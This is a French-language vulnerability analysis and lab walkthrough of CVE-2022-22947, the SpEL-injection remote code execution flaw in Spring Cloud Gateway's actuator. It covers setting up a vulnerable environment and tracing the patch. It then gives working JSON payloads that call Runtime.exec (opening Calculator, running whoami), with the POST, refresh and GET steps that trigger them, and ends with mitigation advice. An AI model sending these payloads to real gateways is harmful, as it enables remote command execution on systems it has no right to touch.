
Spring-Cloud-Spel-RCE
En clonant le code d'environnement déjà écrit sur Github.
//⚠️ Attention : le chemin de téléchargement du code d'environnement ne doit pas contenir de caractères chinois ni d'espaces
git clone https://github.com/Ha0Liu/CVE-2022-22947.git

Ouvrez le paquet de code que nous venons de télécharger avec IDEA : Open ---> chemin du fichier téléchargé ---> Open.
En créant manuellement un projet et en construisant l'environnement.
(1) Nouveau projet, configurez puis cliquez sur Next jusqu'à la fin ;

(2) Analyse de la structure du répertoire du projet :
(3) Ajoutez les dépendances Maven dans le fichier pom.xml (le dépôt Maven contient tous les détails des dépendances).


(4) Modifiez le fichier de configuration Spring (chemin : src -> main -> resources -> application.properties), détails ci-dessous :

(5) Modifiez la classe Java générée automatiquement après la création du projet (le nom de la classe est généralement nomDuProjet+Application, chemin : src -> main -> java -> com.xxx.xxx -> xxxApplication). Voir l'image ci-dessous pour les détails :

(6) Démarrez le projet. Voir l'image ci-dessous pour les détails :

(7) Accédez à http://localhost:9000. Si la page affichée correspond à la capture d'écran, l'environnement est correctement mis en place.

(1) Examinons d'abord le correctif officiel, diff disponible ici : https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e. Officiellement, dans la fonction org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue, StandardEvaluationContext a été remplacé par GatewayEvaluationContext pour exécuter les expressions SPEL.

D'après l'image ci-dessus, ce correctif modifie principalement la méthode d'analyse des expressions SPEL. La ligne 66 montre une instruction if qui vérifie si l'expression SPEL commence par #{ et se termine par }. La fonction getValue sert à analyser les expressions SPEL. On voit donc que cette vulnérabilité est une vulnérabilité RCE déclenchée par une expression SPEL.
(2) En cliquant sur le champ getValue avec Ctrl + clic gauche, vous remontez jusqu'à l'énumération org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType.

La méthode default mentionnée ci-dessus montre que la méthode DEFAULT de l'énumération est appelée. Détails de la méthode :
default ShortcutType shortcutType() {
return ShortcutType.DEFAULT;
}

(3) Remontez jusqu'à org.springframework.cloud.gateway.support.ConfigurationService.class#normalizeProperties().

Cette méthode normalizeProperties() analyse les propriétés des filtres. Elle transmet les propriétés de configuration du filtre à normalize, qui entre finalement dans getValue pour exécuter l'expression SPEL, provoquant une injection d'expression SPEL.
(1) D'après la documentation [https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html](https://cloud.spring.io/spring-cloud-gateway/multi/multi actuator_api.html), les utilisateurs peuvent créer et supprimer des routes dans la passerelle via l'actuator. L'image ci-dessous montre la structure de base de la passerelle.

(2) Dans IDEA, grâce à la fonctionnalité de mappage de l'actuator, vous pouvez trouver les interfaces fonctionnelles telles que la création et la suppression de la passerelle.

(3) En remontant jusqu'à la classe RouteDefinition, on constate qu'elle déclare la structure du contenu de la passerelle.

(4) En remontant jusqu'à la classe FilterDefinition, on voit que Filter a deux paramètres : name et args.
(5) En remontant ce paramètre name, on découvre que dans la méthode AbstractGatewayControllerEndpoint#save(), le name est filtré. La méthode save() est l'interface de création de passerelle. Cette méthode appelle deux paramètres : l'ID de la passerelle (personnalisable) et RouteDefinition. Comme mentionné ci-dessus, cet objet déclare la structure du contenu de la passerelle créée, ce qui déclenche cette vulnérabilité.

(6) En plaçant un point d'arrêt sur la méthode isAvailable() pour un débogage dynamique, voyons quels name peuvent passer ce filtre.


On peut utiliser les name indiqués dans l'image ci-dessus pour contourner la vérification du name.
(7) Grâce à l'analyse ci-dessus, nous pouvons effectuer une attaque RCE en utilisant le paramètre name spécifié et une expression SPEL commençant par #{ et se terminant par }. Payload ci-dessous :
/**
* Explication de l'expression SPEL dans le Payload
* Comme nous devons exécuter une commande via l'expression, nous devons utiliser T(java.lang.Runtime).getRuntime().exec() pour appeler la méthode d'exécution de commande.
* Comme l'expression doit être passée sous forme de chaîne String lors de l'exécution de la commande, nous devons convertir l'expression en objet String par transtypage.
* Comme l'expression doit être passée sous forme de flux d'octets, nous devons appeler la méthode T(org.springframework.util.StreamUtils).copyToByteArray().
*/
{
"id": "peut être modifié arbitrairement (ne doit pas être identique à un id précédemment créé)",
"filters": [{
"name": "un nom quelconque dans la capture d'écran ci-dessus ☝️",
"args": {
"name": "peut être modifié arbitrairement",
// cette valeur est la commande pour ouvrir la calculatrice (macOS)
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
(8) Chaîne sans retour d'affichage via predicates ([Documentation officielle](https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#creating-and- deleting-a-particular-route)) : le flux d'exécution SPEL pour predicates est identique à celui pour filters. L'image ci-dessous montre le contenu de la vérification du name pour predicates. Vous pouvez utiliser ces name pour exécuter des commandes. En déboguant dynamiquement, vous obtenez le mécanisme de vérification du name pour predicates. Vous pouvez construire un Payload basé sur l'exemple de la documentation officielle.

/**
* Explication de l'expression SPEL dans le Payload
* Comme nous devons exécuter une commande via l'expression, nous devons utiliser T(java.lang.Runtime).getRuntime().exec() pour appeler la méthode d'exécution de commande.
* Comme l'expression doit être passée sous forme de chaîne String lors de l'exécution de la commande, nous devons convertir l'expression en objet String par transtypage.
* Comme l'expression doit être passée sous forme de flux d'octets, nous devons appeler la méthode T(org.springframework.util.StreamUtils).copyToByteArray().
*/
{
"id": "peut être modifié arbitrairement (ne doit pas être identique à un id précédemment créé)",
"predicates": [{
"name": "un nom quelconque dans la capture d'écran ci-dessus ☝️",
"args": {"_genkey_0":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"}).getInputStream()))}"}
}],
"filters": [],
"uri": "https://www.uri-destination.org",
"order": 0
}
Les chaînes filters et predicates sans retour d'affichage existent bien. Tant que les noms des filters et predicates sont valides et contournent la restriction, le RCE est déclenché.
(1) Principe du retour d'affichage : les informations de définition de route stockées par l'utilisateur sont conservées en mémoire. Après le rafraîchissement de la route et l'exécution de l'expression SPEL, le résultat de l'exécution est écrit dans les informations de la route. En consultant l'interface API des informations de route, vous pouvez voir le résultat de l'exécution RCE dans l'affichage des informations de route.
(2) D'après la documentation officielle, pour la chaîne avec retour d'affichage des filters, le name = AddResponseHeader peut déclencher la chaîne avec retour.
/**
* Explication de l'expression SPEL dans le Payload
* Comme nous devons exécuter une commande via l'expression, nous devons utiliser T(java.lang.Runtime).getRuntime().exec() pour appeler la méthode d'exécution de commande.
* Comme l'expression doit être passée sous forme de chaîne String lors de l'exécution de la commande, nous devons convertir l'expression en objet String par transtypage.
* Comme l'expression doit être passée sous forme de flux d'octets, nous devons appeler la méthode T(org.springframework.util.StreamUtils).copyToByteArray().
*/
{
"id": ""peut être modifié arbitrairement (ne doit pas être identique à un id précédemment créé)",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
(3) Maintenant, nous devons nous demander : en dehors de name = "AddResponseHeader", est-ce que tous les name peuvent être utilisés pour une attaque RCE avec retour d'affichage, comme dans la chaîne sans retour ?
(4) Essayons avec name = "RedirectTo" pour voir si un retour d'affichage est possible.


On constate qu'aucun retour d'affichage n'est possible. Vérifions les logs du serveur ; ils indiquent une exception de pointeur nul.

En consultant la documentation officielle, nous constatons que cela est dû à une incompatibilité entre le paramètre args que nous avons saisi et le filtre. Ce filtre nécessite deux paramètres : status et url. Modifions les paramètres et réessayons.


Nous obtenons toujours une erreur 404, mais le serveur ne renvoie plus une exception de pointeur nul. En regardant le message d'erreur, il semble que spring-cloud-gateway analyse le format de l'URL. Cela signifie que les paramètres correspondants ont des restrictions de type ; par exemple, status doit être un code d'état HTTP (type énuméré).

Nous devons chercher une autre piste : trouver un filtre dont les paramètres sont de type String.
(5) Allez sur le site officiel pour trouver un filtre avec des paramètres de type String ([lien officiel](https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#the- removerequestheader-gatewayfilter-factory)). Par exemple, le filtre RemoveRequestHeader ne nécessite qu'une chaîne name de type String. Ainsi, nous pouvons construire une expression SPEL comme valeur du paramètre name.

Construisons un Payload pour essayer. On constate qu'un retour d'affichage est possible.


On voit que dans la chaîne avec retour d'affichage des Filters, non seulement le name est filtré, mais les paramètres args ont également certaines restrictions. Cependant, on peut contourner ces restrictions en construisant différents filtres.
(6) La découverte de la chaîne avec retour d'affichage pour les predicates suit la même logique que pour les Filters. En filtrant selon les types et le contenu des paramètres dans la documentation officielle, trouvez un filtre qui permet d'exécuter l'expression SPEL, vous pourrez alors exécuter un RCE avec retour d'affichage.
(7) Pour les predicates, on peut utiliser name = "Cookie" pour exécuter des commandes. Référez-vous aux paramètres de la documentation officielle pour la construction.

Construisons un Payload pour essayer. On constate que le retour d'affichage fonctionne.


La chaîne avec retour d'affichage pour les predicates existe bien. Il y a des restrictions non seulement sur les noms des paramètres args, mais aussi sur les types correspondants aux paramètres. De plus, l'intégrité des paramètres est également limitée.
Dans la chaîne avec retour d'affichage, Spring filtre non seulement le name des filtres, mais impose également des restrictions sur les types et le nombre de paramètres args. Vous pouvez déterminer s'il existe une chaîne exploitable en consultant les détails des filtres dans la documentation officielle.
(1) Créez d'abord une passerelle, envoyez une requête POST et construisez un Payload malveillant.

(2) Rafraîchissez la passerelle.

(3) Obtenez les informations de la passerelle, envoyez une requête GET pour la passerelle test que nous venons de créer ; la calculatrice s'ouvre.

(4) Supprimez la passerelle.

(1) Créez d'abord une passerelle, envoyez une requête POST et construisez un Payload malveillant.

(2) Rafraîchissez la passerelle.

(3) Obtenez les informations de la passerelle, envoyez une requête GET pour la passerelle hacktest que nous venons de créer ; le retour de whoami est réussi.

(4) Supprimez la passerelle.

(1) Si vous n'avez pas besoin du point de terminaison Actuator, vous pouvez le désactiver avec la configuration suivante.
management.endpoint.gateway.enabled=false
(2) Si vous avez besoin du point de terminaison Actuator, vous devez le sécuriser avec Spring Security.
Les versions sécurisées officielles sont disponibles :
Les utilisateurs de la version 3.1.X doivent passer à la version 3.1.1+
Les utilisateurs de la version 3.0.X doivent passer à la version 3.0.7+